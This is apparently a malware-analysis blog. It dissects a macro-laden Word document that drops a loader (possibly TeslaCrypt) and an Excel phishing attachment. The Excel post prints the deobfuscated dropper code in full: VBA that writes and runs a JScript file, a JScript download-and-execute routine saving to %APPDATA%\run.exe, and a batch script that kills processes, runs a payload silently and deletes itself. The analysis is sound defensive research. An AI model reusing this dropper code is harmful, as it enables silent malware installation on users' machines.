Latest Event Updates

Weaponized DOC with TeslaCrypt (?)

Posted on Updated on


Recently a weaponized MS Doc file was given to me for analysis. Due to the fact that an initial sandbox analysis detected that it contains an exploit, it raised my curiosity. So let’s see what we have.


So it is a simple Doc file (non xml). Let’s use olevba from Oletools and oledump



Definitely suspicious! Especially this VirtualAlloc call seems quite interesting. Below you can find a screenshot of the extracted VBA code.j2lvcg

As you can see it is full of comments which could be easily removed with a Regular Expression on Notepad++ or Sublime etc. Between the comments there is actual code and junk code which has to be removed also. What caught my attention is the CallWindowProcA and RtlMoveMemory (red color). I have recently read a blog post about the CallWindowProc ( that is being currently used by Macro malwares. What this function does, is to execute an allocated memory directly. This is a more direct method than using CreateProcess, ShellExecute, WriteMemory, Hollow Process techniques etc.

After cleaning the file we have the following code (snip)


The autorun function contains a call to cakewalk function which is the main function of the document. Inside cakewalk the following things take place:

  1. Volumetric stream is being called and object sashay is being referenced. We have seen at the output of oledump that there is a stream named volumetric (17). Due to the fact that I haven’t manage to programmaticaly extract such objects (e.g a python library) I prefer to use LibreOffice in order to access the various components. As you can see in the next screenshot volumetric is a UserForm and sashay is a label. The text of the label is the actual shellcode which will be decoded.
  2. The shellcode is passed for decryption/decoding  in function methylated
  3. Then a memory allocation takes place (VirtualAlloc)
  4. Function heft is called which takes the current document’s full name (ThisDocument.FullName) (the code is not included in the previous screenshots)
  5. The allocated memory is filled by a function leuciscus.
  6. Finally the CallWindowProcA is being called in order to execute the decoded shellcode. Note that based on the architecture (32bit or 64bit) different offsets are being used. Also note that in the second argument called diduction is the file name of the current document. This is important and keep that in mind


LibreOffice Macro Editor

So how do we dump the shellcode (From now on this shellcode will be called Stage1 Loader)? Just recreate the function methylated in a macro in an MS Word document, save it to a file and open it in IDA.

Now lets analyze the Stage1 Loader. The starting offset for 32 bit is 2214 (0x8a6).


So the offset is a function prologue, then we are correct! I will not explain in detail the assembly code because it will need too many screenshots, but the basic idea is the following:

  1. Go to PEB fs:30 and get the loaded DLLs linked list in order to find the second in list (ntdll.dll).
  2. There is a function SeachFunctionName which gets two arguments, a DLL address and a string of a function. It searches the respective function address and returns the value. Screenshot can be seen below with the internals of the function
  3. The function names that are being searched are the following:
    • LdrLoadDll
    • ExpandEnvironmentStringsA
    • ReadFile
    • CreateFile
    • GetFileSize
    • CloseHandle
    • VirtualFree
    • WriteFile
    • CreateProcessA
  4. There is a function block that converts ascii to unicode in order to pass “kernel32.dll” as unicode argument to LdrLoadDll (LdrLoadDll( IN PWCHAR PathToFile OPTIONAL, IN ULONG Flags OPTIONAL, IN PUNICODE_STRING ModuleFileName, OUT PHANDLE ModuleHandle );). The function returns a handle to kernel32.dll. ExpandEnvironmentStringA is a kernel32.dll function all the order ones are ntdll.dll functions
  5. It tries to open the actual word file (in order words itself). Remember when I mention that you should keep in mind the second argument of CallWindowProcA? Here it is
    The arg0 is the current document. Why does it use this approach? Let’s see on step 6.
  6. Then it reads the the word document itself until it finds the 0x504f4c41 byte sequence. This is important because the Stage1 Loader is just a loader not the actual malware. It seems that there is another secondary shellcode which is encoded/encrypted inside the Word document, while the Stage1 Loader is an embedded Macro Object. The specific byte sequence is the marker of the beginning of the secondary shellcode (Stage2 Loader).
  7. It then creates a file in %TMP%\oi809.exe, it decodes the code from the previous step and writes it to the oi809.exe.
  8. Finally it executes the oi809.exe

Some internals of the “SearchFunctionName”


Also the internals of the FindExportDirectoryRVA, with the various checks for the validity of the PEweguod

If you want to make dynamic analysis of the Stage1 Loader you need a way to break the execution into it. You can use something like the following code. The Stage1 Loader is already dumped into a file (remember the replicated macro we created) and accessed by our code.

DWORD dwFileSize = GetFileSize(hFile, NULL);
DWORD dwReadData = 0;
DWORD dwOldProtect = 0;

LPBYTE target = (LPBYTE)dataAlloc + 2214;
ReadFile(hFile, (LPBYTE)dataAlloc, dwFileSize, &dwReadData, NULL);
char* fff = "C:\\temp\\stage1loader.bin";
__asm int 3;
CallWindowProc((LPBYTE)dataAlloc+2214, fff, 0, 0, 0);

A note, inside the internals of CallWindowProcA there is a call dword ptr[ebp+0x8]. The offset is different in each version of windows. If you can’t find the offset of the call instruction just add a 0xcc byte (int3) in the stage1loader.bin and let it break in the debugger. With manual stack walking you can get the return address which is the  call dword ptr[ebp+0x8] instruction. With a debugger you can add a breakpoint there.

The oi809.exe analysis

To be honest I didn’t have the time to thoroughly analyze the file so I will only give a vague description of what is going on. This is the beginning of the oi809.exe. This particular executable is our Stage2 Loader.


As you can see there are some delay loops, probably for anti analysis (you can easily set edi value to 1). The most important functions (sorry for the chosen names) are the DecryptPayloadResource which is responsible for decrypting a resource inside the executable and the HollowProcess function which uses the classic technique that, executes it self again, unmaps the executable rewrites it with the needed code, uses SetThreadContext to set the starting point and then ResumeThread to continue execution.

The decryptPayloadResource searches for a resource of type RCDATA(0xA) and ID 0x821B (33307)



Then it tries to decrypt it


Finally lets have a look and the HollowProcess block which writes the decrypted shellcode in the memory of newly created process.


Nothing new about that. In order to dump the actual malicious content for further analysis you need to add a breakpoint in the debugger in 0x00401930 where the ebx register will contain the payload of size equals to eax value. From ollydbg you can easily dump it.

Uploading the dumped contents  we get a suspicion that the actual malicious file might be Teslacrypt.


Unfortunately I have not analyzed the actual malware. I am sure (if it is Teslacrypt) the are plenty of excellent articles and analyses.

If you have reached this point I would like to thank you for your patience. In case something is wrong with the analysis or you have any suggestions please let me know.

A case of a sadistic Excel file Pt. 1

Posted on Updated on

Yesterday we received an email with subject “CASH DEPOSIT – 3-1-2016” with an Excel file attached. Our infrastructure blocked it as an Excel with macros and Download & Execute capabilities. This Excel file had a characteristic that I haven’t seen before (in my brief experience with malwares). Parts of the macro code called VBScript code which is stored as actual cell values. So lets start… (cheers @aner for his support)

As always with Office files the wonderful and always useful tool of Didier Stevens oledump is needed, in order to analyze the structure of the file.

python f90f80371ce8c0fd632b9a10d18ac136
  1:       102 '\x01CompObj'
  2:       352 '\x05DocumentSummaryInformation'
  3:       184 '\x05SummaryInformation'
  4:    182391 'Workbook'
  5:       720 '_VBA_PROJECT_CUR/PROJECT'
  6:       107 '_VBA_PROJECT_CUR/PROJECTwm'
  7: M    1540 '_VBA_PROJECT_CUR/VBA/Module1'
  9:      1497 '_VBA_PROJECT_CUR/VBA/__SRP_0'
 10:       151 '_VBA_PROJECT_CUR/VBA/__SRP_1'
 11:        94 '_VBA_PROJECT_CUR/VBA/__SRP_2'
 12:       185 '_VBA_PROJECT_CUR/VBA/__SRP_3'
 13:       853 '_VBA_PROJECT_CUR/VBA/dir'
 14: m     976 '_VBA_PROJECT_CUR/VBA/\xd0\x9b\xd0\xb8\xd1\x81\xd1\x821'
 15: m     976 '_VBA_PROJECT_CUR/VBA/\xd0\x9b\xd0\xb8\xd1\x81\xd1\x822'
 16: m     976 '_VBA_PROJECT_CUR/VBA/\xd0\x9b\xd0\xb8\xd1\x81\xd1\x823'
 17: M    3528 '_VBA_PROJECT_CUR/VBA/\xd0\xad\xd1\x82\xd0\xb0\xd0\x9a\xd0\xbd\xd0\xb8\xd0\xb3\xd0\xb0'

As you can see, sections with M letter, are the ones that contain macros and are the ones that we should always begin with. Below there are three sections of VBScript code

Attribute VB_Name = "Module1"
Attribute VB_Name = "Module1"
Function ShW(ByVal ptrWSH, ByVal ptrStart, ByVal bWt)
Set yuwifdskjf = CreateObject("WS" & StrReverse("tpirc") & ".Sh" & StrReverse("lle"))
yuwifdskjf.Run ptrStart
End Function

Function rywiiowjx(ByVal ueiuwi, ByVal pimchw)
ueiuwi.SaveToFile pimchw, 2
End Function

Attribute VB_Name = "Ёта нига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
End Sub

Sub OnClick()
On Error Resume Next

If ActiveSheet.Name = "Tot" & "al" Then Exit Sub

Dim vlB3
vlB3 = Worksheets("Cod" & "e").Range("B" & "3").Value

Dim kgfdad
kgfdad = StrReverse(".BDODA")
kgfdad = kgfdad & "St" & Mid(ActiveSheet.Name, 3, 1) & "e" & Mid(ActiveSheet.Name, 2, 1) & "m"

Set ewytufhd = CreateObject(kgfdad)

ewytufhd.Mode = 3
ewytufhd.Type = 2

Dim scrWS
scrWS = "wsc" & Mid(ActiveSheet.Name, 3, 1) & Mid(ActiveSheet.Name, 5, 1) & "pt." & Worksheets("Cod" & "e").Range("A" & "1").Value
Dim ptsBuf
ptsBuf = "%" & StrReverse("PMT") & "%"
ptsBuf = ptsBuf & "\srteam" & StrReverse("sj.")

Dim llSW
Set llSW = CreateObject(scrWS)
Dim tprSC
ptsBuf = llSW.ExpandEnvironmentStrings(ptsBuf)

tprSC = StrReverse("csw") & Mid(ActiveSheet.Name, 3, 1) & Mid("kipt", 2)

ewytufhd.WriteText vlB3

Application.Run "rywiiowjx", ewytufhd, ptsBuf
Application.Run "ShW", llSW, tprSC & " " & ptsBuf, True

Set MainSheet = Application.ThisWorkbook.Sheets("To" & "tal")
Set StartSheet = Application.ThisWorkbook.Sheets("War" & "ning")
MainSheet.Visible = True
StartSheet.Visible = xlVeryHide


End Sub


So the first method that will be executed when the Document opens is the OnClick method. As you can see there are a lot of reversed strings. The surprising thing for me is that there are direct references on values of the document (instead of data streams) like the name of ActiveSheet and the value of cells A1 and B3. I usually see values inside streams of the document.

It could be easy to just open the Excel in a sandbox and extract the referenced data. I chose another approach. With Python library called xlrd it is possible to parse the Excel file and get the info we need. Here is the code of a small Python script that does exactly that.

a_1=worksheet.cell(0,0).value # a_1 equals to word Shell
for i,s in enumerate(workbook.sheets()):

#output of the enumeration of worksheet is
(0, u'Warning', 1, 1)
(1, u'Total', 0, 0)
(2, u'Code', 0, 0)

So the script creates a file in path %tmp%\srteam.js (line 38) and stores (line 50 where “rywiiowjx” function is referenced in stream 7), the contents of cell B3 (it will be described below). In line 25 the value is “ADODB.Stream”. The script gets characters on position 3 and 2; which  r and a respectively (positions starts from 1 not 0 when using Mid function). In line 34 the string of course is “wscript.Shell”. In both cases these strings are VB objects in order to execute the JS script. Function ShW (line 51 which is referenced in stream 7) executes the  srteam.js. By the way the string in that line is “WScript.Shell”.

So lets see what are the contents of the cell B3 which will be execute

(function (Global){

function CreateObject(ProgId)
return new ActiveXObject(ProgId);

var FSO = fso = CreateObject("Scripting.FileSystemObject");
var WshShell = CreateObject("WScript.Shell");

function tmp()
var uyeifds = new ActiveXObject("Shell.Application");
return uyeifds;

var dwl2="p://";

function isFile(Path)
Path = WshShell.ExpandEnvironmentStrings(Path);
return fso.FileExists(Path);

function shl(rto)

function DeleteFile(Path)
if (/Array/i.test(Path.constructor+""))
for (var i=0, l=Path.length;i<l;i++)

Path = WshShell.ExpandEnvironmentStrings(Path);
if (isFile(Path))
} catch (e) {}

function DownloadFileFromURL(Url, FileDest)
var msx = "Msxml2";
if (!FileDest || !Url) return null;

var ge = "GE";

FileDest = WshShell.ExpandEnvironmentStrings(FileDest);
msx = msx + ".XMLHTTP";
var oXMLHTTP = WScript.CreateObject(msx); (ge + "T", Url, false);
var oADOStream = CreateObject("ADO" + "DB.Stream");
with (oADOStream){
Mode = 3;
Type = 1;
Write (oXMLHTTP.responseBody);
SaveToFile(FileDest, 2);
return FileDest;

var tor1="%APPDATA%\\run.e";
var tor2="xe";

} catch (e)

var Url="";



The javascript is fairly straight forward. The Global function is always executed first. The script downloads the file and stores it in %appdata%\run.exe which is then executed. If anyone has an idea what is the meaning of \\WORKOUTD\..hg please let me know.

Now let’s analyze the downloaded file. We will run the great tool NtCore’s CFFExplorer which is free and offers full functionality for PE file static analysis.


It seems that the original file name is wextract.exe so we can guess that this file is a self extracting executable created with iexpress. Wexetract.exe is the self extraction stub


There is a resource file called CABINET which contains a .cab file (MSCF header). We can extract the .cab file and open it with any ZIP software. The contents of the CAB file are the following

  • poi.exe
  • 1.bat

There is also another resource the RUNPROGRAM which actually contains the file name of the file that will be executed after the self extraction process is completed. RUNPROGRAM contains the value of 1.bat which is the first file that will be executed.

As a last part of this post we will analyze the .bat file.

set uFxIfBjU=set
%uFxIfBjU% vmQRH=

It is pretty ugly one but it is very easy to analyze it. Variable uFxIfBjU is “set” therefore %uFxIfBjU% vmQRH= sets and empty value to vmQRH. Based on my understanding it looks like space (see below). Finally th command %uFxIfBjU%%vmQRH%WlvwJ== is something like that “set WlvwJ=’='” . So lets clear the batch file a little bit based on the above.

set uFxIfBjU=set
set vmQRH=
set WlvwJ==
set niGHQ=]
set gvNJihit=M
set ubLLkCr=L
set wYYyQIxk=z
set WbawMPRLx=l
set XwaRdC=;
set SMfIu=$
set JekiXWpq=@
set mtoldyH=9
set QffPfCDl=_
set smzXUe=(
set gJCt=a
set CtvQzOlc=D
set tKApd=I
set GFNL=S
set TaMgC=F
set eYdGvjqA=r
set kAJtQCe=1
set CbrzJAoLY=?
set MfcJVJhRo=c
set KppMzH=#
set CbeOdG=T
set wkUfYM=y
set qCCY=C
set IeqoAr=b
set zMUmhfp=n
set VgoKTyH=2
set IAiBMhM=O
set AaWV=:
set lCRh=N
set VzRqFhIQ=k
set NnRB=3
set INirbsqG=)
set wiPSW=m
set qFclxaIHP=.
set GhcPmRW=*
set wJnFYm=5
set zMgQwFM=Y
set jCwDE=q
set gPgacqpE=!
set nKFutdce=u
set GhGCV=U
set VKdC=t
set eEgBdYwt=8
set xjXo=B
set Tpcr=H
set uDysBInSP=E
set flSTw=g
set vOjmHX=P
set cJDeAFxaa=v
set IDRnURC=e
set rvKdv=w
set YAXUzT=R
set tRuE=6
set nhRt=0
set VVoOFw=o
set ryFCAi=A
set rUFWQUVKk=h
set YDOQcd=i
set FvSVze=s
set oAbh=/
set tlGA=+
set AhgUCQdNc=x
set hbveWdig=G
set sRQuCQHsB=j
set jFbR=[
set lITdx=d
set VkONb=7
set DcNlaOG={
set Dkyl=V
set gxmBTj=Q
set bJiooe="
set udasU=\
set UkAijhn=4
set DfIJfWaO=W
set uHNRtTBo=-
set sRaTV=p
set sdbGC=f
set fVqiK=,
set mLjd=}
set SAXwnTEq=Z
set XyTlyKEg=J

It looks much better right? So we have one more step. To decode the batch file. I am very lazy so I wrote a small python script in order to replace the value in the list of “set” commands in the batch file.

import re



while True:
line = f.readline()
#when there is no more "set" instructions stop looping
if("set" not in line):
#tokenize "set XX=YYY" values
#set the dictionary values in array
print tok[1]

restOfFile =
for key in replaceArray:
print "%"+key+"%"
restOfFile = restOfFile.replace("%"+key+"%", replaceArray[key])

print restOfFile

Lets us see the output

ping -n 2|Find /I "TTL="||goto next
taskkill /f /im ctfmon.exe
taskkill /f /im ctfmon.exe
taskkill /f /im ctfmon.exe
taskkill /f /im ctfmon.exe
taskkill /f /im ctfmon.exe
taskkill /f /im ctfmon.exe
taskkill /f /im ctfmon.exe
poi.exe /verysilent /Password=345465122345
ping localhost -10
del %0 > nul
goto 1
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del %0 > nul


So that’s all folks. In the next part of this post I will try to describe the functionality of the poi.exe. Any comments are more than welcome.












Hello World

Posted on Updated on

I have always been fascinated with malwares. I have also developed a small number of them and it was something I really enjoyed. However what I really like also, is to analyze them and trying to understand their internals. I started analyzing malware during various Cyber Security exercises organized by a variety of organizations, usually not public ones. During the last year, I had the opportunity to do the same thing as a side project at my everyday job.   Malware samples blocked from our security infrastructure are being collected and stored, so I am lucky enough to have access on them. To be precise this is a side project for me therefore, I don’t consider my self as a professional malware analyst but more like a researcher.

After this small introduction, let me describe the concept of the blog. I like to keep notes in order to be able to came back in case I forget about something. Therefore this blog is a notebook which might be useful to others also. Also it is a great opportunity to share information with other people more experts than me and maybe get useful comments.

Hopefully I will be able to frequently post new things, although I am not sure if the scope of this blog will include only malware analysis; in any case… Hello World